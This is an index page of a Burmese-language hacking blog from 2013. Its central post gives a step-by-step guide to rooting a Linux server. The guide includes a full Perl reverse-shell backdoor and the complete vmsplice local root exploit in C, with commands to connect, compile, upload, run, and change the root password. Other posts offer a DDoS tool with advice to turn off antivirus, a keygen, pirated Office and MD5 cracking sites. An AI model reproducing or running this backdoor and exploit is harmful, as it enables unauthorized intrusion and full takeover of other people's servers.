7/28/2013

Website Hacking ေလ့လာေနသူမ်ား Download ဆြဲသင့္ေသာ စာအုပ္ (DVWA)

https://fbcdn-sphotos-a-a.akamaihd.net/hphotos-ak-prn2/p526x296/971381_310009569144345_1093109064_n.jpg
Practice Hacking With DVWA လုိ ့ စာအုပ္နမည္ေလး ေပးထားပါ
တယ္။ Website Hacking နဲ ့ပတ္သက္ပီးေတာ့ ေလ့လာေနတဲ့
သူမ်ားေတာ့ ဖတ္ေစလုိ ပါတယ္။ ဘာလုိ ့လဲဆုိေတာ့ အထူးသျဖင့္
စတင္ေလ့လာစလူငယ္ေတြ ပါဘဲ။ သူတုိ ့မွာ နည္းလမ္းတစ္ခုကိုသိလာ
တယ္ ဆုိပါေတာ့့ အဲ့နည္းလမ္း တစ္ခုနဲ ့လုိက္ ပီး စမ္းသပ္ၾကတယ္..
မေအာက္ျမင္ၾကေတာ့ တစ္ခ်ဳိ  ့က အဲ့လုိ မေအာင္ျမင္တဲ့နည္းကုိ
စိတ္ကုန္သြားၾကပါတယ္။ တစ္ခ်ဳိ  ့ၾကျပန္ေတာ့လည္း ဆုိဒ္တစ္ခု ကုိ
စမ္းတယ္ သူတုိ ့စမ္းသပ္တဲ့ နည္းပညာ မွာ အဆင့္ ၄ ဆင့္ေလာက္ပါသြားပီဘဲ ဆုိပါေတာ့။
Read more »

မိမိတို႔ ဘေလာ့မွာ MMYOS ေရဒီယိုထည့္ခ်င္သူမ်ားအတြက္

           မဂၤလာပါ ေဆာ့၀ဲၿမိဳ႕ေတာ္ ပရိသတ္ႀကီးခင္ဗ်ာကၽြန္ေတာ္တို႔ ျမန္မာႏိုင္ငံမွာ အြန္လိုင္းေရဒီယုိေတြ ရွိတဲ႔အထဲက 24hours အသံလႊင့္ေပးတဲ႔ ေရဒီယိုေလးတစ္ခုနဲ႔ မိတ္ဆက္ေပးခ်င္ပါတယ္ အခု ကၽြႏ္ေတာ့္ဆိုဒ္ေလးမွာ ထည့္ထားတဲ႔ MMYOS (အေ၀းေရာက္ျမန္မာမ်ားအဖြဲ႔)က လုပ္ထားတဲ႔ ေရဒီယိုေလးပါ။ အသံလႊင့္သူ DJ မ်ားကလည္း
စိတ္အားထက္သန္စြာနဲ႔ အခမဲ႔ 24 နာရီထုတ္လႊင့္ေပးေနတာပါ။ မိမိတို႔ေတာင္းဆိုေသာ သီခ်င္းမ်ားကိုလည္း dj@mmyos.com ကို အပ္၍ ေတာင္းဆိုႏိုင္ၿပီး ေတာင္းဆိုသူရဲ႕ အမည္ႏွင့္
သီခ်င္း ေတာင္းရျခင္း ရည္ရြယ္ခ်က္ကိုပါ ထုတ္လႊင့္ေပးမွာျဖစ္ပါတယ္။ MMYOS ေရဒီယိုေလးမွာ သီခ်င္းမ်ားသာမက တရားမ်ား ၊ စာေပေဟာေျပာပြဲ အသံမ်ား ႏွင့္ ရယ္စရာဟာသ ပ်က္လံုးမ်ားကို  အစီအစဥ္အလိုက္ ထုတ္လႊင့္ေပးပါေသးတယ္။ နားဆင္ခ်င္သူမ်ားအေနျဖင့္ ကၽြန္ေတာ့္ဆိုဒ္ www.minsoeyarsar.com တြင္ျဖစ္ေစ www.mmyos.com တြင္ျဖစ္ေစ နားေထာင္ႏိုင္ပါတယ္။ ဘေလာ့ ႏွင့္ ၀က္ဆိုဒ္ Admin မ်ားက မိမိတို႔ဆိုဒ္ေလးမွာ ေရဒီယိုေလးထည့္ၿပီး လာလည္သူေတြကို အပမ္းေျပေစခ်င္တယ္ဆိုရင္ေတာ့ ေအာက္က ကုဒ္ေလးကို ေကာ္ပီကူး၍ မိမိတို႔ ဘေလာ့ ၊ ၀က္ဆိုဒ္ေလးမွာ  Widget အျဖစ္ ထည့္ႏိုင္ပါတယ္ခင္ဗ်ာ...
ေရဒီယိုကုဒ္

Android ဖုန္းေလးမွာလည္း နားဆင္ႏိုင္ပါတယ္ခင္ဗ်ာ။ ေဆာ့၀ဲေလး ရွိပါတယ္ဗ်ာ APK ဖိုင္ေလးကို ေဒါင္းႏိုင္ပါတယ္ခင္ဗ်ာ
Read more »

Backtrack 5 Cookbook

Backtrack 5 Cookbook စာအုပ္ကုိ Backtrack Myanmar ကေနမလာျပီး ျပန္ရွယ္လုိက္ပါတယ္။ လုိခ်င္သူမ်ား မႏုိင္ပါျပီ။ Author: Willie Pritchett, David De Smet Publisher:[PACK] File Size: 31 MB Pages: 296 Download: Dropbox Solidfiles
Read more »

7/27/2013

Linux Sever တစ္ခုကို ဘယ္လို Root လုပ္မလဲ

ပထမဆံုးအေနနဲ ့Root လုပ္မယ့္ Target Server ေပၚမွာ သင့္ရဲ ့ php shell ကို တစ္နည္းနည္းနဲ ့တင္ထားျပီးသားရွိဖို ့လိုအပ္ပါတယ္။ တကယ္လို ့သင့္မွာသာ permission ရွိျပီးသားဆိုရင္ေတာ့ butt.pl ဆိုတဲ ့new file တစ္ခု create လုပ္ရပါမယ္။ ( permission မရေသးရင္ေတာ့ Perl scrip ကို PHP inclusion နဲ ့execute လုပ္လို ့ရပါတယ္ အဲ့လိုလုပ္တဲ့နည္းကိုလဲ ေနာက္သပ္သပ္ ကြ်န္ေတာ္ tutorial ေရးေပးပါ့မယ္ ) ခုနက အသစ္ create လုပ္ထားတဲ့ butt.pl ထဲမွာထည့္ရမယ့္ code ေတြကေတာ့


#!/usr/bin/perl
use IO::Socket;
$system    = '/bin/bash';
$ARGC=@ARGV;
print "IHS BACK-CONNECT BACKDOOR\n\n";
if ($ARGC!=2) {
   print "Usage: $0 [Host] [Port] \n\n";
   die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "IHS BACK-CONNECT BACKDOOR  \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF


ျပီးရင္ေတာ့ သင့္ Router ထဲကေန Port 8080 ကို forward လုပ္လုိက္ပါ။ ေအာက္က command ကို အသံုးျပဳျပီးေတာ့ shell ကို execute လုပ္ပါ။ ဒါမွမဟုတ္ php script သံုးမယ္ဆိုရင္ေတာ့ script ကို run လုိက္ပါ။ (မွတ္ခ်က္။ ။ php script သံုးမယ္ဆိုရင္ေတာ့ system ကို point လုပ္ဖို ့ script ကို manually change ေပးရမွာျဖစ္ပါတယ္။)

perl butts.pl 192.168.0.254 8080

IP Address ကို သင့္ IP သို ့ေျပာင္းလိုက္ပါ။ ျပီးရင္ေတာ့ terminal ကိုဖြင့္ျပီး ေအာက္က command ကို အသံုးျပဳရပါမယ္။ ( Netcat ကိုေတာ့ install လုပ္ဖို ့လိုအပ္ပါမယ္ )

nc -vv -l -n -p 8080

connect လုပ္လို ့ရ မရဆိုတာ ေသခ်ာဖို ့"uname -a;id" ဆိုတဲ့ command ကို သံုးျပီး confirm လုပ္ရပါ့မယ္။ ဒါဆိုရင္ေတာ့ kernel information ကို ရရွိမွာျဖစ္ျပီး အဲ့ info ကို အသံုးခ်ျပီး root လုပ္လုိ ့ရပါျပီ။ ဒီအဆင့္မွာေတာ့ exploit ကို compile လုပ္ဖို ့လိုအပ္လာပါျပီ။ Linux Server အမ်ားစုက compilers ေတြ ကို disable လုပ္ထားေလ့ရွိပါတယ္။ ဒါေၾကာင့္ ကိုယ့္ computer ကေန compile လုပ္ရမွာျဖစ္ပါတယ္။ သတိျပဳဖို ့အေရးၾကီးတာက Window OS ကေနျပီး cross compile လုပ္လို ့မရဘူးဆိုတာပါပဲ။ Linux OS တစ္ခုခု ကေနပဲ compile လုပ္လို ့ရမွာပဲျဖစ္ပါတယ္။ ေအာက္မွာ က်ေနာ္ ျပမယ့္ exploit ဟာ kernel ေတာ္ေတာ္မ်ားမ်ားမွာ 100% အလုပ္လုပ္ပါတယ္။ text file တစ္ခု ဖြင့္ျပီး ေအာက္မွာေဖာ္ျပထားတဲ့ code ကို copy/paste လုပ္ျပီး dongs.c ဆိုျပီး save လုပ္လုိက္ပါ။

#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS    16
#define PG_compound    14
#define uint        unsigned int
#define static_inline    static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)

struct page {
    unsigned long flags;
    int count;
    int mapcount;
    unsigned long private;
    void *mapping;
    unsigned long index;
    struct { long next, prev; } lru;
};

void    exit_code();
char    exit_stack[1024 * 1024];

void    die(char *msg, int err)
{
    printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice    316
#endif

#define USER_CS        0x73
#define USER_SS        0x7b
#define USER_FL        0x246

static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void *    get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice    278
#endif

#define USER_CS        0x23
#define USER_SS        0x2b
#define USER_FL        0x246

static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}

static_inline
void *    get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movq %%gs:(0), %0"
    : "=r" (curr)
    );
    return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice    __NR_vmsplice
_syscall4(
    long, _vmsplice,
    int, fd,
    struct iovec *, iov,
    unsigned long, nr_segs,
    unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)    syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void    kernel_code()
{
    int    i;
    uint    *p = get_current();

    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }    

    exit_kernel();
}

void    exit_code()
{
    if (getuid() != 0)
        die("wtf", 0);

    printf("[+] root\n");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
}

int    main(int argc, char *argv[])
{
    int        pi[2];
    size_t        map_size;
    char *        map_addr;
    struct iovec    iov;
    struct page *    pages[5];

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);

    printf("-----------------------------------\n");
    printf(" Linux vmsplice Local Root Exploit\n");
    printf(" By qaaz\n");
    printf("-----------------------------------\n");

    if (!uid || !gid)
        die("!@#$", 0);

    /*****/
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    pages[1] = pages[0] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[0]);
    printf("[+] page: 0x%lx\n", pages[1]);

    pages[0]->flags    = 1 << PG_compound;
    pages[0]->private  = (unsigned long) pages[0];
    pages[0]->count    = 1;
    pages[1]->lru.next = (long) kernel_code;

    /*****/
    pages[2] = *(void **) pages[0];
    pages[3] = pages[2] + 1;

    map_size = PAGE_SIZE;
    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[2]);
    printf("[+] page: 0x%lx\n", pages[3]);

    pages[2]->flags    = 1 << PG_compound;
    pages[2]->private  = (unsigned long) pages[2];
    pages[2]->count    = 1;
    pages[3]->lru.next = (long) kernel_code;

    /*****/
    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[4]);

    /*****/
    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);

    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

    /*****/
    map_size -= 2 * PAGE_SIZE;
    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
        die("munmap", errno);

    /*****/
    if (pipe(pi) < 0) die("pipe", errno);
    close(pi[0]);

    iov.iov_base = map_addr;
    iov.iov_len  = ULONG_MAX;

    signal(SIGPIPE, exit_code);
    _vmsplice(pi[1], &iov, 1, 0);
    die("vmsplice", errno);
    return 0;
}

ေနာက္ထပ္ Terminal အသစ္တစ္ခုထပ္ဖြင့္ျပီး ဒီ command ကို ရိုက္လိုက္ပါ။

gcc dongs.c -o dongs

ျပီးရင္ေတာ့ ခုနက save လုပ္ထားတဲ့ dongs ဆိုတဲ့ txt file ကို server ထဲက PHP Shell ေပၚကို upload လုပ္လိုက္ပါ။ ဒီအဆင့္ျပီးရင္ေတာ့ Terminal ကို ျပန္သြားျပီး Netcat ကို လဲ connect လုပ္ထားျပီးရင္ေတာ့ ေအာက္ကေပးထားတဲ့ code ကို ရိုက္ထည့္လိုက္ပါ။

./dongs

ဒါဆိုရင္ေတာ့ exploit ဟာ ေကာင္းေကာင္းအလုပ္လုပ္ျပီး သင့္ကို root access ရရွိေစမွာျဖစ္ပါတယ္။
ေနာက္ဆံုးအဆင့္အေနနဲ ့ root password ကို change ဖို ့ "passwd root" ဆိုတဲ့ command ကိုအသံုးျပဳျပီးေတာ့ ေျပာင္းခ်င္ေျပာင္း ဒါမွမဟုတ္ new root user ဆိုျပီး အသစ္ create ထပ္လုပ္ရင္လုပ္လိုက္ပါ။ ဒါဆိုရင္ေတာ့ Linux Server တစ္ခုကို Root လုပ္လုိ ့ျပီးသြားျပီျဖစ္ပါတယ္။

Copy from:  http://koalpha.blogspot.com
Read more »

7/26/2013

Inside Out Windows 8

Windows 8 စာအုပ္ေလးတင္ေပးလုိက္ပါတယ္။ Author: Tony Northup File Size: 27.9 MB Published by Microsoft Press Content of Table Introduction, Getting Started, File Management System, Music Videos Tv & Movies, Security and Privacy, Networking, Maintaining, turning & Troubleshooting.
Read more »

Universal Keygen Generator

Universal Keygen Generator ဆုိေတာ့ ေနာက္ထပ္ရွင္းျပစရာမရွိေတာ့ဘူးထင္ပါတယ္။ ဖုိင္ဆုိဒ္ကလည္း ေသးေသးေလးရယ္။ အသုံးျပဳနည္းကလည္း လြယ္ပါတယ္။ ဒီေကာင္ကုိ ဘူေရမ်က္ရြာဆုိလားမသိဘူး။ အဲဒီကေန မလာပါတယ္။ လုိခ်င္တဲ့ Key ေတာ္ေတာ္မ်ားမ်ားကုိ ေပးႏုိင္လိမ့္မယ္လုိ႔ ေမ်ာ္လင့္ပါတယ္။
Download: Solidfiles Dropbox
Read more »

7/25/2013

Anonymous-DoS

DDos Tool ေလးတစ္ခုပါပဲ။ ဖုိင္က .exe မဟုတ္ပါဘူး။ .hta အမ်ဳိးစားပါ။ Antivirus ကုိေတာ့ ခဏပိတ္ထားဖုိ႔ လုိပါလိမ့္မယ္။ Download Link အတြက္ မူရင္း sourceforge.net ကေနပဲညြန္းေပးလုိက္ပါတယ္။ ဖုိင္ဆုိဒ္ကလည္းေသးေသးေလးပါပဲ။
Read more »

MD5 Cracking Sites

MD5 Hash ကုိ crack ေပးမယ့္ဆုိဒ္ေတြကုိ စုစည္းေဖာ္ျပလုိက္ပါတယ္ဗ်ာ။ လုိရမယ္ရ သုံးလုိ႔ရေအာင္။ ကြ်န္ေတာ္တုန္းကေတာ့ ဆုိဒ္တစ္ခုမွ အဆင္မေျပပါဘူး။ :(
* http://www.md5-db.com/index.php
* http://plain-text.info/add/
* http://www.tmto.org/
* https://hashcracking.ru/
Read more »

သင္ေသသြားေသာ္ သင့္ Gmail Account မည္သုိ႔ျဖစ္မည္နည္း

တကယ္လုိ႔မ်ားေပါ့။ ကိုယ္သာ ေသသြားခဲ့ရင္ မိမိ Gmail, Facebook အေကာင့္ေတြဘယ္လုိျဖစ္မွာလဲလုိ႔ စဥ္းစားဖူးပါသလား။ လူဆုိတာ ေသမ်ဳိးပဲေလ။ ဘယ္ေန႔ေသရမယ္ဆုိတာသာ မသိႏုိင္တာ။ ဒီေတာ့ တကယ္လုိ႔မ်ားဆုိျပီး ဒီပုိ႔စ္ကုိေရးလုိက္ပါတယ္။ အနည္းဆုံးေတာ့ ဗဟုသုတအျဖစ္နဲ႔ ဖတ္ၾကည့္ေပါ့ဗ်ာ။
Read more »

How to Browse Anonymously

ကြ်န္ေတာ္တုိ႔အေၾကာင္းအမ်ဳိးမ်ဳိးေၾကာင့္ အင္တာနက္မွာ Anonymous အျဖစ္သြားလုိတဲ့အခါ အလြန္လြယ္ကူတဲ့နည္းနဲ႔သြားလုိ႔ရပါတယ္။ ဥပမာ မိမိ IP ကုိ Hide ခ်င္တဲ့အခါ၊ ဒါမွမဟုတ္ DDoS Attack လုပ္တဲ့အခါ၊ ဒါမွမဟုတ္ တစ္ခုခုေပါ့ :D Hide My IP လုိေဆာ့ဝဲလ္ေတြသုံးရင္ေတာ့ရပါတယ္။ ဒါေပမယ့္ သုံးရတာလက္ေပါက္ကပ္ပါတယ္။ Full version မျဖစ္တာတုိ႔၊ ဘာညာေပါ့။ ကဲ ဒီနည္းလမ္းကေတာ့ လြယ္ပါတယ္။ ဒီနည္းကုိ ဟုိအရင္ရက္ေတြက DDos လုပ္ၾကတုန္းကေတြ႕ထားတာပါ။ ေနာက္မွ Bro တစ္ေယာက္ေရးထားတာေတြ႕လုိျပန္ေရးလုိက္တာပါ။ အရင္ဆုံး Mozilla အတြက္ AnonymoX ဆုိတဲ့ extension ကုိသြင္းလုိက္ပါ။ ဒီအတြက္ https://addons.mozilla.org/en-us/firefox/addon/anonymox/ မွာသြားပါ။ Addon ကုိေဒါင္းေနပါလိမ့္မယ္။ ခဏေစာင့္ပါ။
Read more »

7/24/2013

How to Protect your WordPress

ကြ်န္ေတာ္ အသိညီတစ္ေယာက္ သူက WP site တစ္ခုနဲ႔ Run ထားေတာ့ အဟတ္မခံရေအာင္ဘယ္လုိလုပ္မလဲေမးလုိ႔ ကြ်န္ေတာ္လည္း Google ထဲကေန ေကာင္းႏုိးရာရာ ေရြးျပီး ျပန္ရွယ္လုိက္ပါတယ္ခင္ဗ်ာ။ ေျပာရရင္ ကြ်န္ေတာ္က WP Site ေတြမကုိင္ဖူးေတာ့ ဟတ္ဖုိ႔ေနသာသာ ရမ္းသမ္းျပီးဘာသာျပန္ထားျခင္းသာျဖစ္လုိ႔ လုိအပ္တာမ်ားရွိရင္ တတ္သိနားလည္သူမ်ားအေနနဲ႔ နားလည္ေပးၾကပါခင္ဗ်ာ။ :D
Read more »

Session Hijacking ဆိုတာဘာလဲ ?

 

  Session Hijacking ဆိုတာဘာလဲ ?

Session Hijacking လုပ္တယ္ဆိုတာ ရွိျပီးသား active session တစ္ခုကို ခိုးယူျခင္းပဲျဖစ္ပါတယ္။ Session Hijacking လုပ္ျခင္းရဲ ့အဓိက ရည္ရြယ္ခ်က္ကေတာ့ authentication process ကို bypass လုပ္ျခင္းျဖင့္ website တစ္ခု သို ့မဟုတ္ computer တစ္လံုးကုိ unauthorized access ကို ရယူဖို ့ပဲျဖစ္ပါတယ္။ အရိုးရွင္းဆံုးေျပာရရင္ေတာ့ attacker ဟာ တစ္ျခား client တစ္ေယာက္ရဲ ့ session နဲ ့login လုပ္ျခင္းပဲျဖစ္ပါတယ္။

Read more »

Microsoft Office Professional Plus Final Edition 2013 (×32 ×64)

Microsoft Office Professional Plus Final Edition 2013 ကုိရွယ္ေပးလုိက္ပါတယ္။ 32 Bit နဲ႕ 64 Bit အတြက္ဆုိျပီးပါပါတယ္။ ကြ်န္ေတာ္ကုိယ္တုိင္ 64 အတြက္ေဒါင္းပီးစမ္းၾကည့္ထားတာမုိ႔ Link အတြက္ Resume ရပါတယ္။ ဖုိင္ဆုိဒ္ကေတာ့ 900 MB ေက်ာ္ေလာက္ရွိပါတယ္။ လုိခ်င္တယ္ဆုိရင္ ေဒါင္းႏုိင္ပါျပီ။
Read more »

Sniper: Ghost Warrior Demo

Sniper Game ေတြေဆာ့ရတာ တကယ္ရင္ခုန္ဖုိ႔ေကာင္းပါတယ္။ ကုိယ္တုိင္ စႏုိက္ပါတစ္ေယာက္လုိ အသည္းတယားယားနဲ႔ အခ်ိန္ဘယ္လုိကုန္လုိ႔ ကုန္မွန္းေတာင္သိမွာမဟုတ္ဘူး။ ဒီဂိမ္းကလည္း First Person Shooter အမ်ဳိးအစားပါပဲ။ မေဒါင္းခင္ မိမိစက္နဲ႕ ကုိက္ညီမွဳ ရွိမရွိ အရင္စစ္ၾကည့္ၾကပါအုံး။ ကြ်န္ေတာ္လည္း ဘေလာေတြထဲကလုိက္ေမႊရင္း အဆင္ေျပမယ္ထင္တဲ့ Link ကေနျပန္ရွယ္လုိက္တာပါ။ ဒါက Demo version ပဲရွိပါေသးတယ္။ ေနာက္မွ Sniper 2 အတြက္ Download Link ေကာင္းေကာင္းေလးေတြ႕ရင္ ျပန္မွ်ပါအုံးမယ္။ ဖုိင္ေတြက 
Read more »